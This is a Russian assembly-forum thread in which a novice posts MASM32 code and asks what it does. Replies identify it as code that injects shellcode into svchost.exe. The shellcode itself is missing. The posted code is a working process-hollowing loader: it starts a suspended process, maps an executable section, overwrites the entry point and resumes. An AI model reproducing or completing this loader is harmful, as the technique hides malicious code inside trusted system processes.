1. Если вы только начинаете программировать на ассемблере и не знаете с чего начать, тогда попробуйте среду разработки ASM Visual IDE
    (c) на правах рекламы
    Скрыть объявление

Помогите с masm32

Тема в разделе "MASM", создана пользователем Sidorma, 25 янв 2012.

  1. Sidorma

    Sidorma New Member

    Публикаций:
    0
    Регистрация:
    9 дек 2010
    Сообщения:
    35
    Доброго времени суток!

    Помогите разобраться в нижеприведенном коде на masm32.
    Меня интересует, что именно он делает.
    Пожалуйста! Очень СРОЧНО нужно!!!
    Я ассемблер ну совсем не знаю.

    Спасибо!

    Код (Text):
    1. comment '
    2.  =======================================
    3.  shellcode_start - pointer to sc start.
    4.  shell_size - sc size.
    5.  
    6.  =======================================
    7.  '
    8.  
    9.  .686
    10.  .model flat, stdcall
    11.  option casemap: none
    12.  assume fs: nothing
    13.  
    14.  include \masm32\include\ntdll.inc
    15.  includelib \masm32\lib\ntdll.lib
    16.  
    17.  include \masm32\include\kernel32.inc
    18.  includelib \masm32\lib\kernel32.lib
    19.  
    20.  include \masm32\macros\macros.asm
    21.  
    22.  ;----------------------------------
    23.  ; Allocate mem.
    24.  ;----------------------------------
    25.  aloc macro pMemory,leng
    26.  pusha
    27.  mov pMemory,FUNC(LocalAlloc,LMEM_FIXED + LMEM_ZEROINIT,leng)
    28.  popa
    29.  endm
    30.  
    31.  ;----------------------------------
    32.  ; Deallocate mem.
    33.  ;----------------------------------
    34.  dealloc macro pMemory
    35.  pusha
    36.  fn LocalFree,[pMemory]
    37.  popa
    38.  endm
    39.  
    40.  PROCESS_BASIC_INFORMATION STRUCT
    41.  ExitStatus DWORD ?
    42.  PebBaseAddress PVOID ?
    43.  AffinityMask DWORD ?
    44.  BasePriority DWORD ?
    45.  UniqueProcessId DWORD ?
    46.  InheritedFromUniqueProcessId DWORD ?
    47.  PROCESS_BASIC_INFORMATION ENDS
    48.  
    49.  
    50.  .const
    51.  memsize equ 5000h
    52.  
    53.  .data
    54.  sinfo STARTUPINFO <>
    55.  pinfo PROCESS_INFORMATION <>
    56.  pbi PROCESS_BASIC_INFORMATION <>
    57.  
    58.  MaximumSize dd 8EF6H, 0h
    59.  ViewSize dd 6000h
    60.  
    61.  .data?
    62.  SecHandle dd ?
    63.  BaseAddress dd ?
    64.  nb_read dd ?
    65.  ImageBase db 50 dup (?)
    66.  read_proc dd ?
    67.  
    68.  .code
    69.  start:
    70.  fn CreateProcess,0,"svchost.exe",0,0,0,CREATE_SUSPENDED,0,0,addr sinfo,addr pinfo
    71.  or eax, eax
    72.  jz @exit
    73.  
    74.  fn ZwQueryInformationProcess,dword ptr[pinfo],0,addr pbi,sizeof pbi,0
    75.  
    76.  fn ZwReadVirtualMemory,dword ptr[pinfo],pbi.PebBaseAddress,addr ImageBase,\
    77.  sizeof ImageBase,addr nb_read
    78.  
    79.  m2m dword ptr [ImageBase], dword ptr [ImageBase+8h]
    80.  aloc read_proc, memsize
    81.  fn ZwReadVirtualMemory,dword ptr[pinfo],dword ptr[ImageBase],[read_proc],\
    82.  memsize,addr nb_read
    83.  
    84.  mov esi,read_proc
    85.  add esi,[esi+03Ch]
    86.  assume esi: ptr IMAGE_NT_HEADERS
    87.  
    88.  fn ZwCreateSection,addr SecHandle,SECTION_ALL_ACCESS,0,addr MaximumSize,\
    89.  PAGE_EXECUTE_READWRITE,SEC_COMMIT,0
    90.  or eax, eax
    91.  jnz @exit
    92.  
    93.  fn ZwMapViewOfSection,dword ptr[SecHandle],-1,addr BaseAddress,0,0,0,addr ViewSize,\
    94.  1,0,PAGE_EXECUTE_READWRITE
    95.  or eax, eax
    96.  jnz @exit
    97.  
    98.  push esi
    99.  mov esi,[read_proc]
    100.  mov edi,[BaseAddress]
    101.  mov ecx,memsize
    102.  rep movsb
    103.  pop esi
    104.  
    105.  mov eax, dword ptr [esi].OptionalHeader.AddressOfEntryPoint
    106.  assume esi: nothing
    107.  
    108.  lea esi,shellcode_start
    109.  mov edi,[BaseAddress]
    110.  add edi,eax
    111.  mov ecx,shell_size
    112.  rep movsb
    113.  
    114.  fn ZwUnmapViewOfSection,dword ptr[pinfo],dword ptr[ImageBase]
    115.  
    116.  fn ZwMapViewOfSection,dword ptr[SecHandle],dword ptr[pinfo],addr ImageBase,0,0,0,\
    117.  addr ViewSize,1,0,PAGE_EXECUTE_READWRITE
    118.  
    119.  fn ZwResumeThread,dword ptr[pinfo+4h],0
    120.  
    121.  dealloc read_proc
    122.  
    123.  @exit:
    124.  fn ExitProcess, 0
    125.  end start
     
  2. _sheva740

    _sheva740 New Member

    Публикаций:
    0
    Регистрация:
    31 авг 2005
    Сообщения:
    1.539
    Адрес:
    Poland
    Sidorma
    А где код по метке shellcode_start ?
    Чего не весь исходник выложил если спрашиваешь?
     
  3. Sidorma

    Sidorma New Member

    Публикаций:
    0
    Регистрация:
    9 дек 2010
    Сообщения:
    35
    Это все, что есть. А из этого ничего не ясно?
    Простите за невежество.
     
  4. valterg

    valterg Active Member

    Публикаций:
    0
    Регистрация:
    19 авг 2004
    Сообщения:
    2.105
    Так написано:
    Это и есть шеллкод :)

    Sidorma
    Да все ясно. Ищем процесс svchost и внедряемся в него.
    Вы видимо из категории : знаю что такое шеллкод и хочу, но в ассемблере ни буб-бум.
    Бросьте вы это дело. Без знания ассемблера и ОС вы ничего не сделаете. Даже не повторите то, что в Интернете описано.
     
  5. totimoud

    totimoud New Member

    Публикаций:
    0
    Регистрация:
    2 фев 2012
    Сообщения:
    78
    valterg
    Для впрыскивания шелла не нужно процесс искать, действия выполняются через интерфейс(лпк там всякие етц). Вот только будет очень сложно найти переполнение там, если оно вообще существует.. Вы видимо попутали с инжектом %